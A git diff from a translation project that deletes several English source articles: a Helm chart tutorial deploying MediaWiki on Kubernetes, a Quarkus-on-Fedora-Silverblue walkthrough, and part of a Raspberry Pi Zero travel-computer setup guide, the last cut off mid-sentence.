-end -``` - -Great! Now, we're certainly not going to be competing with Daft Punk any time soon, but hopefully, through this process, you've seen how we can go from a bare beat to something much bigger, in real-time, by adding some simple morsels of code. It is well worth watching one of Sam Aaron's [live coding performances][8] on YouTube for a demonstration of how creative and adaptive Sonic Pi can let you be. - -![Sonic Pi composition example][9] - -Our finished piece, in full - -If you've ever wanted to learn a musical instrument, but felt held back by thoughts like "I don't have rhythm" or "my hands aren't nimble enough," Sonic Pi is a versatile instrument for which none of those things matter. All you need are the ideas, the inspiration, and an inexpensive computer such as the humble Raspberry Pi. The rest is at your fingertips—literally! - -Here are a few handy links to get you started: - - * The Official Sonic Pi [website][10] and [tutorial][11] - * [Getting Started with Sonic Pi][12] ([projects.raspberrypi.org][13]) - * Sonic Pi [Github project][3] - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/sonic-pi - -作者:[Matt Bargenquast][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/anine09) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mbargenquast -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/music-birds-recording-520.png?itok=UoM7brl0 (Bird singing and music notes) -[2]: https://opensource.com/life/15/10/interview-sam-aaron-sonic-pi -[3]: https://github.com/samaaron/sonic-pi/ -[4]: https://in-thread.sonic-pi.net/ -[5]: https://www.patreon.com/samaaron -[6]: https://www.raspberrypi.org/downloads/raspbian/ -[7]: https://en.wikipedia.org/wiki/Envelope_(music) -[8]: https://www.youtube.com/watch?v=JEHpS1aTKp0 -[9]: https://opensource.com/sites/default/files/uploads/sonicpi.png (Sonic Pi composition example) -[10]: https://sonic-pi.net/ -[11]: https://sonic-pi.net/tutorial.html -[12]: https://projects.raspberrypi.org/en/projects/getting-started-with-sonic-pi -[13]: http://projects.raspberrypi.org diff --git a/sources/tech/20200309 Level up your use of Helm on Kubernetes with Charts.md b/sources/tech/20200309 Level up your use of Helm on Kubernetes with Charts.md deleted file mode 100644 index 9a08bdb973..0000000000 --- a/sources/tech/20200309 Level up your use of Helm on Kubernetes with Charts.md +++ /dev/null @@ -1,288 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Level up your use of Helm on Kubernetes with Charts) -[#]: via: (https://opensource.com/article/20/3/helm-kubernetes-charts) -[#]: author: (Jessica Cherry https://opensource.com/users/jrepka) - -Level up your use of Helm on Kubernetes with Charts -====== -Configuring known apps using the Helm package manager. -![Ships at sea on the web][1] - -Applications are complex collections of code and configuration that have a lot of nuance to how they are installed. Like all open source software, they can be installed from source code, but most of the time users want to install something simply and consistently. That’s why package managers exist in nearly every operating system, which manages the installation process. - -Similarly, Kubernetes depends on package management to simplify the installation process. In this article, we’ll be using the Helm package manager and its concept of stable charts to create a small application. - -### What is Helm package manager? - -[Helm][2] is a package manager for applications to be deployed to and run on Kubernetes. It is maintained by the [Cloud Native Computing Foundation][3] (CNCF) with collaboration with the largest companies using Kubernetes. Helm can be used as a command-line utility, which [I cover how to use here][4]. - -#### Installing Helm - -Installing Helm is quick and easy for Linux and macOS. There are two ways to do this, you can go to the release [page][5], download your preferred version, untar the file, and move the Helm executable to your** /usr/local/bin** or your **/usr/bin** whichever you are using. - -Alternatively, you can use your operating system package manage (**dnf**, **snap**, **brew**, or otherwise) to install it. There are instructions on how to install on each OS on this [GitHub page][6]. - -### What are Helm Charts? - -We want to be able to repeatably install applications, but also to customize them to our environment. That’s where Helm Charts comes into play. Helm coordinates the deployment of applications using standardized templates called Charts. Charts are used to define, install, and upgrade your applications at any level of complexity. - -> A _Chart_ is a Helm package. It contains all of the resource definitions necessary to run an application, tool, or service inside of a Kubernetes cluster. Think of it like the Kubernetes equivalent of a Homebrew formula, an Apt dpkg, or a Yum RPM file. -> -> [Using Helm][7] - -Charts are quick to create, and I find them straightforward to maintain. If you have one that is accessible from a public version control site, you can publish it to the [stable repository][8] to give it greater visibility. In order for a Chart to be added to stable, it must meet a number of [technical requirements][9]. In the end, if it is considered properly maintained by the Helm maintain, it can then be published to [Helm Hub][10]. - -Since we want to use the community-curated stable charts, we will make that easier by adding a shortcut:  - - -``` -$ helm repo add stable -"stable" has been added to your repositories -``` - -### Running our first Helm Chart - -Since I’ve already covered the basic Helm usage in [this article][11], I’ll focus on how to edit and use charts in this article. To follow along, you’ll need Helm installed and access to some Kubernetes environment, like minikube (which you can walk through [here][12] or [here][13]). - -Starting I will be picking one chart. Usually, in my article I use Jenkins as my example, and I would gladly do this if the chart wasn’t really complex. This time I’ll be using a basic chart and will be creating a small wiki, using [mediawiki and its chart][14].   - -So how do I get this chart? Helm makes that as easy as a pull. - -By default, charts are compressed in a .tgz file, but we can unpack that file to customize our wiki by using the **\--untar** flag. - - -``` -$ helm pull stable/mediawiki --untar -$ ls -mediawiki/ -$ cd mediawiki/ -$ ls -Chart.yaml         README.md          requirements.lock  templates/ -OWNERS             charts/            requirements.yaml  values.yaml -``` - -Now that we have this we can begin customizing the chart. - -### Editing your Helm Chart - -When the file was untared there was a massive amount of files that came out. While it does look frightening, there really is only one file we should be working with and that's the **values.yaml** file. - -Everything that was unpacked was a list of template files that has all the information for the basic application configurations. All the template files actually depend on what is configured in the values.yaml file. Most of these templates and chart files actually are for creating service accounts in the cluster and the various sets of required application configurations that would usually be put together if you were to build this application on a regular server. - -But on to the values.yaml file and what we should be changing in it. Open it in your favorite text editor or IDE. We see a [YAML][15] file with a ton of configuration. If we zoom in just on the container image file, we see its repository, registry, and tags amongst other details. - - -``` -## Bitnami DokuWiki image version -## ref: -## -image: -  registry: docker.io -  repository: bitnami/mediawiki -  tag: 1.34.0-debian-10-r31 -  ## Specify a imagePullPolicy -  ## Defaults to 'Always' if image tag is 'latest', else set to 'IfNotPresent' -  ## ref: -  ## -  pullPolicy: IfNotPresent -  ## Optionally specify an array of imagePullSecrets. -  ## Secrets must be manually created in the namespace. -  ## ref: -  ## -  # pullSecrets: -  #   - myRegistryKeySecretName -``` - -As you can see in the file each configuration for the values is well-defined. Our pull policy is set to **IfNotPresent**. This means if I run a **helm pull** command, it will not overwrite my existing version. If it’s set to always, the image will default to the latest version of the image on every pull. I’ll be using the default in this case, as in the past I have run into images being broken if it goes to the latest version without me expecting it (remember to version control your software, folks). - -### Customizing our Helm Chart - -So let’s configure this values file with some basic changes and make it our own. I’ll be changing some naming conventions, the wiki username, and the mediawiki site name. _Note: This is another snippet from values.yaml. All of this customization happens in that one file._ - - -``` -## User of the application -## ref: -## -mediawikiUser: cherrybomb - -## Application password -## Defaults to a random 10-character alphanumeric string if not set -## ref: -## -# mediawikiPassword: - -## Admin email -## ref: -## -mediawikiEmail: [root@example.com][16] - -## Name for the wiki -## ref: -## -mediawikiName: Jess's Home of Helm -``` - -After this, I’ll make some small modifications to our database name and user account. I changed the defaults to "jess" so you can see where changes were made. - - -``` -externalDatabase: - ## Database host -  host: - -  ## Database port -  port: 3306 - -  ## Database user -  user: jess_mediawiki - -  ## Database password -  password: - -  ## Database name -  database: jess_mediawiki - -## -## MariaDB chart configuration -## -## -## -mariadb: - ## Whether to deploy a mariadb server to satisfy the applications database requirements. To use an external database set this to false and configure the externalDatabase parameters -  enabled: true -  ## Disable MariaDB replication -  replication: -    enabled: false - -  ## Create a database and a database user -  ## ref: -  ## -  db: -    name: jess_mediawiki -    user: jess_mediawiki -``` - -And finally, I’ll be adding some ports in our load balancer to allow traffic from the local host. I'm running on minikube and find the **LoadBalancer** option works well. - - -``` -service: - ## Kubernetes svc type -  ## For minikube, set this to NodePort, elsewhere use LoadBalancer -  ## -  type: LoadBalancer -  ## Use serviceLoadBalancerIP to request a specific static IP, -  ## otherwise leave blank -  ## -  # loadBalancerIP: -  # HTTP Port -  port: 80 -  # HTTPS Port -  ## Set this to any value (recommended: 443) to enable the https service port -  # httpsPort: 443 -  ## Use nodePorts to requets some specific ports when usin NodePort -  ## nodePorts: -  ##   http: <to set explicitly, choose port between 30000-32767> -  ##   https: <to set explicitly, choose port between 30000-32767> -  ## -  # nodePorts: -  #  http: "30000" -  #  https: "30001" -  ## Enable client source IP preservation -  ## ref -  ## -  externalTrafficPolicy: Cluster -``` - -Now that we have made the configurations to allow traffic and create the database, we know that we can go ahead and deploy our chart. - -### Deploy and enjoy! - -Now that we have our custom version of the wiki, it's time to create a deployment. Before we get into that, let’s first confirm that nothing else is installed with Helm, to make sure my cluster has available resources to run our wiki. - - -``` -$ helm ls -NAME    NAMESPACE       REVISION        UPDATED STATUS  CHART   APP VERSION -``` - -There are no other deployments through Helm right now, so let's proceed with ours.  - - -``` -$ helm install jesswiki -f values.yaml stable/mediawiki -NAME: jesswiki -LAST DEPLOYED: Thu Mar  5 12:35:31 2020 -NAMESPACE: default -STATUS: deployed -REVISION: 2 -NOTES: -1\. Get the MediaWiki URL by running: - -  NOTE: It may take a few minutes for the LoadBalancer IP to be available. -        Watch the status with: 'kubectl get svc --namespace default -w jesswiki-mediawiki' - -  export SERVICE_IP=$(kubectl get svc --namespace default jesswiki-mediawiki --template "{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}") -  echo "Mediawiki URL: http://$SERVICE_IP/" - -2\. Get your MediaWiki login credentials by running: - -    echo Username: user -    echo Password: $(kubectl get secret --namespace default jesswiki-mediawiki -o jsonpath="{.data.mediawiki-password}" | base64 --decode) -$ -``` - -Perfect! Now we will navigate to the wiki, which is accessible at the cluster IP address. To confirm that address: - - -``` -kubectl get svc --namespace default -w jesswiki-mediawiki -NAME                 TYPE           CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE -jesswiki-mediawiki   LoadBalancer   10.103.180.70   <pending>     80:30220/TCP   17s -``` - -Now that we have the IP, we go ahead and check to see if it’s up:  - -![A working wiki installed through helm charts][17] - -Now we have our new wiki up and running, and we can enjoy our new application with our personal edits. Use the command from the output above to get the password and start to fill in your wiki. - -### Conclusion - -Helm is a powerful package manager that makes installing and uninstalling applications on top of Kubernetes as simple as a single command. Charts add to the experience by giving us curated and tested templates to install applications with our unique customizations. Keep exploring what Helm and Charts have to offer and let me know what you do with them in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/helm-kubernetes-charts - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jrepka -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/kubernetes_containers_ship_lead.png?itok=9EUnSwci (Ships at sea on the web) -[2]: https://www.google.com/url?q=https://helm.sh/&sa=D&ust=1583425787800000 -[3]: https://www.google.com/url?q=https://www.cncf.io/&sa=D&ust=1583425787800000 -[4]: https://www.google.com/url?q=https://opensource.com/article/20/2/kubectl-helm-commands&sa=D&ust=1583425787801000 -[5]: https://www.google.com/url?q=https://github.com/helm/helm/releases/tag/v3.1.1&sa=D&ust=1583425787801000 -[6]: https://www.google.com/url?q=https://github.com/helm/helm&sa=D&ust=1583425787802000 -[7]: https://helm.sh/docs/intro/using_helm/ -[8]: https://www.google.com/url?q=https://github.com/helm/charts&sa=D&ust=1583425787803000 -[9]: https://github.com/helm/charts/blob/master/CONTRIBUTING.md#technical-requirements -[10]: https://www.google.com/url?q=https://hub.helm.sh/&sa=D&ust=1583425787803000 -[11]: https://www.google.com/url?q=https://opensource.com/article/20/2/kubectl-helm-commands&sa=D&ust=1583425787803000 -[12]: https://www.google.com/url?q=https://opensource.com/article/18/10/getting-started-minikube&sa=D&ust=1583425787804000 -[13]: https://www.google.com/url?q=https://opensource.com/article/19/7/security-scanning-your-devops-pipeline&sa=D&ust=1583425787804000 -[14]: https://www.google.com/url?q=https://github.com/helm/charts/tree/master/stable/mediawiki&sa=D&ust=1583425787805000 -[15]: https://en.wikipedia.org/wiki/YAML -[16]: mailto:root@example.com -[17]: https://opensource.com/sites/default/files/uploads/lookitworked.png (A working wiki installed through helm charts) diff --git a/sources/tech/20200311 Using the Quarkus Framework on Fedora Silverblue - Just a Quick Look.md b/sources/tech/20200311 Using the Quarkus Framework on Fedora Silverblue - Just a Quick Look.md deleted file mode 100644 index 1d72cd1d03..0000000000 --- a/sources/tech/20200311 Using the Quarkus Framework on Fedora Silverblue - Just a Quick Look.md +++ /dev/null @@ -1,209 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Using the Quarkus Framework on Fedora Silverblue – Just a Quick Look) -[#]: via: (https://fedoramagazine.org/using-the-quarkus-framework-on-fedora-silverblue-just-a-quick-look/) -[#]: author: (Stephen Snow https://fedoramagazine.org/author/jakfrost/) - -Using the Quarkus Framework on Fedora Silverblue – Just a Quick Look -====== - -![Using the Quarkus Framework on Fedora Silverblue – Just a Quick Look][1] - -[Quarkus][2] is a framework for Java development that is described on their web site as: - -> A Kubernetes Native Java stack tailored for OpenJDK HotSpot and GraalVM, crafted from the best of breed Java libraries and standards -> -> – Feb. 5, 2020 - -Silverblue — a Fedora Workstation variant with a container based workflow central to its functionality — should be an ideal host system for the Quarkus framework. - -There are currently two ways to use Quarkus with Silverblue. It can be run in a pet container such as Toolbox/Coretoolbox. Or it can be run directly in a terminal emulator. This article will focus on the latter method. - -### Why Quarkus - -[According to Quarkus.io][3]: “Quarkus has been designed around a containers first philosophy. What this means in real terms is that Quarkus is optimized for low memory usage and fast startup times.” To achieve this, they employ first class support for Graal/Substrate VM, build time Metadata processing, reduction in reflection usage, and native image preboot. For details about why this matters, read [Container First][3] at Quarkus. - -### Prerequisites - -A few prerequisites will need to configured before you can start using Quarkus. First, you need an IDE of your choice. Any of the popular ones will do. VIM or Emacs will work as well. The Quarkus site provides full details on how to set up the three major Java IDE’s (Eclipse, Intellij Idea, and Apache Netbeans). You will need a version of JDK installed. JDK 8, JDK 11 or any distribution of OpenJDK is fine. GrallVM 19.2.1 or 19.3.1 is needed for compiling down to native. You will also need Apache Maven 3.53+ or Gradle. This article will use Maven because that is what the author is more familiar with. Use the following command to layer Java 11 OpenJDK and Maven onto Silverblue: - -``` -$ rpm-ostree install java-11-openjdk* maven -``` - -Alternatively, you can download your favorite version of Java and install it directly in your home directory. - -After rebooting, configure your _JAVA_HOME_ and _PATH_ environment variables to reference the new applications. Next, go to the [GraalVM download page][4], and get GraalVM version 19.2.1 or version 19.3.1 for Java 11 OpenJDK. Install Graal as per the instructions provided. Basically, copy and decompress the archive into a directory under your home directory, then modify the _PATH_ environment variable to include Graal. You use it as you would any JDK. So you can set it up as a platform in the IDE of your choice. Now is the time to setup the native image if you are going to use one. For more details on setting up your system to use Quarkus and the Quarkus native image, check out their [Getting Started tutorial][5]. With these parts installed and the environment setup, you can now try out Quarkus. - -### Bootstrapping - -Quarkus recommends you create a project using the bootstrapping method. Below are some example commands entered into a terminal emulator in the Gnome shell on Silverblue. - -``` -$ mvn io.quarkus:quarkus-maven-plugin:1.2.1.Final:create \ - -DprojectGroupId=org.jakfrost \ - -DprojectArtifactId=silverblue-logo \ - -DclassName="org.jakfrost.quickstart.GreetingResource" \ - -Dpath="/hello" -$ cd silverblue-logo -``` - -The bootstrapping process shown above will create a project under the current directory with the name _silverblue-logo_. After this completes, start the application in development mode: - -``` -$ ./mvnw compile quarkus:dev -``` - -With the application running, check whether it responds as expected by issuing the following command: - -``` -$ curl -w '\n' http://localhost:8080/hello -``` - -The above command should print _hello_ on the next line. Alternatively, test the application by browsing to __ with your web browser. You should see the same lonely _hello_ on an otherwise empty page. Leave the application running for the next section. - -### Injection - -Open the project in your favorite IDE. If you are using Netbeans, simply open the project directory where the _pom.xml_ file resides. Now would be a good time to have a look at the _pom.xml_ file. - -Quarkus uses ArC for its dependency injection. ArC is a dependency of quarkus-resteasy, so it is already part of the core Quarkus installation. Add a companion bean to the project by creating a java class in your IDE called _GreetingService.java_. Then put the following code into it: - -``` -import javax.enterprise.context.ApplicationScoped; - -@ApplicationScoped -public class GreetingService { - - public String greeting(String name) { - return "hello " + name; - } - -} -``` - -The above code is a verbatim copy of what is used in the injection example in the Quarkus Getting Started tutorial. Modify _GreetingResource.java_ by adding the following lines of code: - -``` -import javax.inject.Inject; -import org.jboss.resteasy.annotations.jaxrs.PathParam; - -@Inject - GreetingService service;//inject the service - - @GET //add a getter to use the injected service - @Produces(MediaType.TEXT_PLAIN) - @Path("/greeting/{name}") - public String greeting(@PathParam String name) { - return service.greeting(name); - } -``` - -If you haven’t stopped the application, it will be easy to see the effect of your changes. Just enter the following _curl_ command: - -``` -$ curl -w '\n' http://localhost:8080/hello/greeting/Silverblue -``` - -The above command should print _hello Silverblue_ on the following line. The URL should work similarly in a web browser. There are two important things to note: - - 1. The application was running and Quarkus detected the file changes on the fly. - 2. The injection of code into the app was very easy to perform. - - - -### The native image - -Next, package your application as a native image that will work in a _podman_ container. Exit the application by pressing **CTRL-C**. Then use the following command to package it: - -``` -$ ./mvnw package -Pnative -Dquarkus.native.container-runtime=podman -``` - -Now, build the container: - -``` -$ podman build -f src/main/docker/Dockerfile.native -t silverblue-logo/silverblue-logo -``` - -Now run it with the following: - -``` -$ podman run -i --rm -p 8080:8080 localhost/silverblue-logo/silverblue-logo -``` - -To get the container build to successfully complete, it was necessary to copy the _/target_ directory and contents into the _src/main/docker/_ directory. Investigation as to the reason why is still required, and though the solution used was quick and easy, it is not an acceptable way to solve the problem. - -Now that you have the container running with the application inside, you can use the same methods as before to verify that it is working. - -Point your browser to the URL and you should get a _index.html_ that is automatically generated by Quarkus every time you create or modify an application. It resides in the _src/main/resources/META-INF/resources/_ directory. Drop other HTML files in this _resources_ directory to have Quarkus serve them on request. - -For example, create a file named _logo.html_ in the _resources_ directory containing the below markup: - -``` - - - - - Silverblue - - - - -
- Fedora Silverblue -
- - -``` - -Next, save the below image alongside the _logo.html_ file with the name _fedora-silverblue-logo.png_: - -![][6] - -Now view the results at . - -#### Testing your application - -Quarkus supports junit 5 tests. Look at your project’s _pom.xml_ file. In it you should see two test dependencies. The generated project will contain a simple test, named _GreetingResourceTest.java_. Testing for the native file is only supported in _prod_ mode. However, you can test the _jar_ file in _dev_ mode. These tests are RestAssured, but you can use whatever test library you wish with Quarkus. Use Maven to run the tests: - -``` -$ ./mvnw test -``` - -More details can be found in the Quarkus [Getting Started][7] tutorial. - -#### Further reading and tutorials - -Quarkus has an extensive collection of [tutorials and guides][8]. They are well worth the time to delve into the breadth of this microservices framework. - -Quarkus also maintains a [publications][9] page that lists some very interesting articles on actual use cases of Quarkus. This article has only just scratched the surface of the topic. If what was presented here has piqued your interest, then follow the above links for more information. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/using-the-quarkus-framework-on-fedora-silverblue-just-a-quick-look/ - -作者:[Stephen Snow][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/jakfrost/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/02/quarkus-816x345.jpg -[2]: https://quarkus.io/ -[3]: https://quarkus.io/vision/container-first -[4]: https://www.graalvm.org/downloads/ -[5]: https://quarkus.io/get-started/ -[6]: https://fedoramagazine.org/wp-content/uploads/2020/02/fedora-silverblue-logo.png -[7]: https://quarkus.io/guides/getting-started -[8]: https://quarkus.io/guides/ -[9]: https://quarkus.io/publications/ diff --git a/sources/tech/20200313 How to set up the Raspberry Pi Zero for travel.md b/sources/tech/20200313 How to set up the Raspberry Pi Zero for travel.md deleted file mode 100644 index 5b6ca689d7..0000000000 --- a/sources/tech/20200313 How to set up the Raspberry Pi Zero for travel.md +++ /dev/null @@ -1,472 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to set up the Raspberry Pi Zero for travel) -[#]: via: (https://opensource.com/article/20/3/raspberry-pi-zero) -[#]: author: (Peter Garner https://opensource.com/users/petergarner) - -How to set up the Raspberry Pi Zero for travel -====== -You don't have to invest large amounts of money to build a relatively -powerful system that can be taken on the road and used productively. -![Airplane flying with a globe background][1] - -For some time now, I've been a huge fan of the [Raspberry Pi][2] computer in all of its various forms. I have a number of them, and each has a server role to play. Most of the time, they work extremely well, and I'm safe in the knowledge that the small amount of power they consume is keeping the bills down. - -If you've read my blog before, you may have read my account of how I [migrated my desktop computing][3] to a Pi 3. This worked well for quite a while, but I finally had to accept that editing large graphics and multimedia files was a problem, so I replaced it with an [Intel NUC][4]. My hankering for Pi experimentation was still there, though, and I decided to do a "what-if" exercise and see if it could survive on the road. And that's when I dragged my Pi Zero out of retirement from my spares box. - -### Why travel with a Raspberry Pi - -_"Why would I want to do this? Surely the trend is to travel with as powerful a device as possible?"_ - -Well, it's like this. Last year, my employer issued a decree that in order to conform to its security policy, we would no longer be able to check laptops in as luggage, and not long after, the US government decided to summarily ban carrying laptops in hand baggage to and from certain countries, y'know, for security. So how do we get around that one? The sensible option would be to not travel with a laptop and use a hot-desk style spare at the destination. After all, everything is in the cloud now, right? Or, you could carry your important, commercially sensitive data on a CD/DVD or memory stick, but only if it's encrypted to a standard and your employer's data handling policy allows that. - -The problem is multi-faceted though: What if your role is such that you need to be able to fix software/systems on-the-go and you don't always have access to a "spare" laptop? On the occasions when I travel (by train), I have to lug my laptop with me, and it's a pain over the course of a day. Then there's the loss/theft/damage problem. Laptops can be easy targets, they can get left on trains, or you could be mugged. Or there's the "[evil maid][5]" scenario, in which someone interferes with your device without your knowledge. The list goes on. - -So, here's what you can get with a Pi Zero portable computer: - - * It's small enough to fit in hand baggage or your pocket. - * It's cheap enough at $8 to buy another if yours gets lost/stolen/damaged. - * The entire OS and data are held on a "disk" that is as small as a fingernail, is cheap, and is easily bought in a wide variety of retail outlets. If need be, you can create a new one from a borrowed card from a phone. - * A full development environment with the ability to work offline or online. It can also act as an SSH server so that more than one person can use it at once. - * Safe storage: If you are paranoid or traveling on certain airlines, you can remove the "disk" and store it in your wallet or on your person. If your computer is stolen in transit, go and buy another one off the shelf: you're already set up with the OS. - * Network-tolerant: Around the world, there are country-specific WiFi frequencies, and a simple text-file change enables you to be compliant within minutes. - * Keyboard independent: You can use a compliant Bluetooth keyboard, but when you need to do something more demanding, you can just plug any USB keyboard into the spare USB connector using an On-The-Go cable. - * Power supply tolerant: My 3300mAh power bank can run the Pi Zero for about eight hours, but if all else fails, you can use a TV's USB connector to power it. Generally speaking, if a TV has HDMI, it will also have a USB socket, and the Zero only draws about 120mA. Or use someone's phone charger! - * Finally, if you're unfortunate enough to lose/damage your "disk," you can easily create another by downloading your 2GB image from a secure location in the cloud and burning it to a new card. Try doing _that_ with a normal laptop. - - - -That's motivation enough for me! - -Here is my finished product, with a beer coaster for scale. - -![Pi Zero W setup][6] - -### How I set up the Pi Zero for travel - -The cheap-as-chips Pi Zero has always been a bit of an odd beast, in my opinion. It features a single-core CPU and has a frugal 512MB of memory, some of which it has to share with the onboard video. The Raspbian OS currently based on Debian Stretch is touted as being suitable for the Zero with the LXDE-based "Pixel" GUI desktop, and indeed it can be loaded and started—but in reality, the poor thing really struggles to manage a GUI _and_ run useful software. - -Nevertheless, I was determined to give it a good try and set it up with the apps that have the smallest memory footprint. I'd already been around this loop with the Pi 3, so it was more of the same—only even more so! Bearing in mind this was to be a road warrior's computer, here's what I wanted to have on it: - -Web browser | Lightweight but with privacy in mind ----|--- -Email | IMAP-capable and seamlessly supporting GPG -XMPP/Jabber client | No-nonsense messaging -VPN client | I'm on the road, remember -Tor client | Always useful... -Music | I carry a few MP3s, but internet radio is cool, too -Multiple desktops | Useful with a small screen -Editor/IDE | Hey, it's a working computer! -FTP/SFTP client | Hey, it's a working computer! - -All in all, it's a very useful bundle for my purposes, and if I achieve a balanced environment, it could actually work. - -### Hardware - -The hardware was a bit of a challenge. The battery was not a problem, as I have a variety of rechargeable power packs with varying capacity, so it is really just a question of picking a suitable one for the day. The only prerequisite was that the battery should be able to take a charge while being used, and all my Jackery brand batteries do this. - -For my "disk," I opted for my in-house standard 32GB SanDisk Extreme microSDHC. They're very reliable, and the size is big enough to hold a lot of software and data while still remaining affordable. - -The video output would, I anticipated, be HDMI-out using the Zero's mini-HDMI connector. This suited my purposes well, as the majority of hotel TVs use this interface. Audio would also go via HDMI. - -That left the human interface devices (HID), and this, predictably, caused the most consternation. I hate Bluetooth with a passion, and with the Zero's limited connectors, I'd have to bite the bullet and use a Bluetooth keyboard and mouse, preferably a combined one—and small. There's no point in having a tiny computer if you have lug a great honking keyboard around as well, so my unhappy quest began. - -### Bluetooth woes - -The Zero has a limited number of USB connectors on board—just one, if you allow for the power connector, which obviously means you have limited connection options. You could always use a USB extender hub, but then that's more to carry—including another power supply. That basically leaves you trying to connect a keyboard and mouse via Bluetooth. I don't believe the hype about how it can "_easily connect a wide variety of devices together,_" and I wrestle with a variety of allegedly standard devices trying to get the bloody things to play nicely together. Part of the problem with the Pi (I think) is that there's some unintended interaction between WiFi and Bluetooth that causes weird stuff to happen. My problem was that I was able to connect to the Pi using a keyboard _or_ a mouse, but not both reliably at the same time. And yes, I have a variety of allegedly standards-following Bluetooth devices, none of which decided to work together properly. - -At this point, I was wondering if there was a Bluetooth Samaritan's Helpline, but there wasn't, so what the heck was I going to do?! Temporarily, I resorted to using an Apple USB keyboard with two USB sockets; this was useful for setup but not for being on the road. In the end, I spent hours browsing eBay and Amazon, and then I found it: a "_3- in-1 Mini Wireless Bluetooth Keyboard Mouse Touchpad For Windows iOS Android UK - Backlit, Ultra-thin, Built-in Rechargeable Battery, QWERTY_." Perfect on paper, but would it work? I sent off the money, and four days later, a slim package arrived from China. And it bloody well worked!! First time, every time, it got on with the Pi like pie and chips. I promptly ordered another one—accidents happen, and I wouldn't want to be left in the lurch. - -So, with my hardware lineup complete, I could settle down to setting up the Pi proper. - -### The GUI and the Pi - -Going back to my software requirements, I thought long and hard about the smallest desktop environment and went with the supplied LXDE desktop, which I'd used several times on other projects. Although the Pi struggled a bit with screen handling, it generally performed well, and I started setting up my software.  - -Web browser 1 - -Midori: a good compromise between size and modernity. Supports private browsing and is bundled with the Pi - -Web browser 2 - -Links2 in graphic mode: lightweight, fast, secure, works with proxies - -Email - -Sylpheed: small, light, and works well with GPG - -XMPP/Jabber client - -Profanity. It's great! - -VPN client - -OpenVPN - -Tor client - -Ha! Links2 again - -Music - -SMPlayer: the GUI for MPlayer - -Editor/IDE - -Geany: small and light but powerful - -Image viewer/editor - -Pinta - -FTP/SFTP client - -Filezilla - -**Other stuff:** - -Midnight Commander - -Not just a file manager (more later) - -Tor proxy server - -Always on, so I can use Tor as needed - -Nmap - -I sometimes need to test stuff - -vnStat - -Monitor data usage on the wlan0 interface - -SSH/SFTP server - -Standard issue on this distro - -UFW - -Firewall; can't be too careful! - -Gopher client - -Gopherspace! It's still out there, and I use the _original_ Gopher client! - -All of the above are tried, tested, and very stable packages. The web browser decision was a calculated one: the Zero doesn't _really_ have what it takes to negotiate a modern ~~bloated, ad-ridden~~ website, and honestly, I have a phone that can handle that sort of thing. Likewise, the decision to run a Tor proxy: it's very handy to be able to access Marianas Web, and using Links2 as a browser means that the risk is minimal. - -Sylpheed is a mature package that I believe has largely been replaced by Claws but is actually less demanding of resources. GPG integrated seamlessly with it, and I was able to exchange signed/encrypted messages with ease. It renders both plain-text and HTML messages well, and the interface is uncluttered. - -I needed a _simple_ XMPP/Jabber client. The problem I've found with many apps of this type is that they try to incorporate multiple messaging standards when I only really need XMPP. Profanity is ideal as it does one job and does it very well. - -### System setup - -I spent a considerable amount of time setting up the OS for the best performance; a task made easier because I have set up numerous Raspberry Pis before. In such a small (as in memory) system, the decision to use a swap file was not taken lightly, and unfortunately, using a GUI desktop meant that the swap is in frequent use. The alternative is to not have one and hope that the system doesn't freeze up too much. I went with the suggested default of 100MB. - -I then looked at logging. As this was supposed to be a small, portable system, I didn't see much point in having extensive logging, especially as it would have a negative effect on the SDHC card in the long term. One solution was a combination of disabling logging in apps wherever possible and sacrificing a little memory to create a tmpfs in-memory filesystem. This would have the added advantage that it would be recreated on each boot. So, I worked out that 8MB could be used for this and duly updated **/etc/fstab**. This works extremely well. - - -``` -`tmpfs /var/log tmpfs defaults,noatime,nosuid,mode=0755,size=8m 0 0` -``` - -I also had to update **/etc/rc.local** to provide some essential directories on startup; this kept the rsyslog and Tor daemons happy. - - -``` -mkdir -p /var/log/rsyslog -mkdir -p /var/log/tor/ -mkdir -p /var/log/vnstat/ -chown vnstat.root /var/log/vnstat/ -chown debian-tor /var/log/tor/ -``` - -With all that in place, the little computer was almost ready for Prime Time. But there was a problem. I've already mentioned the frugal amount of memory on the Zero, and even with the GUI and apps pared down to the bone, I was regularly using swap space. To make matters worse, much worse, my carefully set up desktop menus were having problems. - -The Pi desktop comes with an _incredible_ amount of software installed, mainly to satisfy its original purpose as an educational machine. I decided early on to edit the menus to remove a lot of the "junk" and replace it with my list of apps, so I fired up the Main Menu Editor app. Normally this is quite responsive, but on the resource-challenged Zero, it had worrying lags and pauses as I made changes. Ultimately, it meant that my ad-hoc menus were corrupted, and worse still, the default Pi menus had been reinstated. Searching for help with this problem revealed that the menu system is convoluted, and if an update is not saved properly, the defaults 